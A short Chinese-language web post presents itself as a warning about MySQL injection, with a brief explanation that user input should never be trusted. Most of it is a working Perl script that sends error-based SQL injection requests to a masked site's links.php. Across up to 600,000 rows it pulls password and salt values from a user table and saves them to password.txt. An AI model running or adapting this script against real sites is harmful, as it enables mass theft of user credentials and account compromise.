这里有份mysql注入代码是mysql常见漏洞

所谓SQL注入，就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。

我们永远不要信任用户的输入，我们必须认定用户输入的数据都是不安全的，我们都需要对用户输入的数据进行过滤处理。

这里有份mysql注入代码是mysql常见漏洞，学习安全的朋友要注意防范。

复制代码

代码如下:

#!/usr/bin/perl -w

#www.sh3llc0de.com

#转载须注明

#语法 自己改改

use strict;

use LWP::Simple;

use utf8;

$|++;

my $count = 1;

for ($count = 1; $count <= 600_000; $count++) {

print 'ID: ', $count, "\n";

my $url = 'http://www.***.com/links.php?out=2 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x5e24,0x7c,password,0x3A,salt,0x245e) FROM `wowguru_db`.user LIMIT%20' . $count . ',1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1';

#print "$url\n";

my $content = get($url);

while ($content =~ m|\^\$(.+?)\$\^|igs) {

open FILE, ">>", "password.txt" or die $!;

print "$1\n";

print FILE "$1\n";

close FILE;

}

}